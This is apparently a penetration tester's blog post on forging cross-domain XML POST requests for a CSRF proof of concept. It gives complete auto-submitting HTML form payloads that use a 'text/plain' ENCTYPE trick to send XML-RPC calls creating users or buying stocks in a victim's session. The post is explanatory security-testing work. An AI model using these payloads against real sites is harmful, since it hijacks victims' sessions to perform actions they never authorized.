![]() |
VOOZH | about |
I recently had cause to create a proof-of-concept for a site that seemed to be vulnerable to Cross-Site Request Forgery (CSRF). I say “seemed” because there was no CSRF protection, but I was finding the XML POST body really hard to forge (It was a SOAP / XMLRPC type request).
Eventually Sid from notsosecure.com pointed me in the right direction. The solution is not new, but it’s interesting if you’ve never come across this problem before.
I wanted to write a malicious web page, which would automatically send a request like the one below when a victim viewed it:
POST /createnewuser HTTP/1.1 Host: site.being.tested.com Cookie: mysessionid=90450874698749829 <?xml version value='"1.0"?><methodCall>... new creds go here...</methodCall>
The most obvious approach is probably to have JavaScript automatically sumbit a form containing a hidden form field. Below is my initial attempt. Note that I stuff the XML into the “name” of a POST parameter.
<FORM action="http://site.being.tested.com/createnewuser" METHOD="POST"> <input type="hidden" name="<?xml version..."> </FORM> <script>document.forms[0].submit();</script>
This fails for 2 important reasons:
So my forged POST request looked something like this:
POST /createnewuser HTTP/1.1 Host: site.being.tested.com Cookie: mysessionid=90450874698749829 %3C%3Fxml%20version%20value%3D'%221.0%22%3F%3E%3CmethodCall%3E...%20new%20creds%20go%20here...%3C%2FmethodCall%3E=
No where close!
I also considered JavaScript’s XMLHttpRequest and Flash’s XML.Send, but these obviously won’t work because the request is cross-domain.
Sid pointed out that Shreeraj Shah presented an elegant solution to this problem in slide 34 of his HITB presentation in 2008.
To quote from his presentation, the poc should specify an ENCTYPE of “text/plain”:
<FORM NAME="buy" ENCTYPE="text/plain" action="http://trade.example.com/xmlrpc/trade.rem" METHOD="POST"> <input type="hidden" name='<?xml version' value='"1.0"?><methodCall><methodName>stocks.buy</methodName><params><param><value><string>MSFT</string></value></param><param><value><double>26</double></value></param></params></methodCall>'> </FORM> <script>document.buy.submit();</script>
This results in a perfectly formatted Cross-Domain XML POST request. The ENCTYPE avoids the body being encoded and he cleverly absorbs the unwanted “=” into the XML at a point where we need an “=” anyway.
Leave a Reply
You must be logged in to post a comment.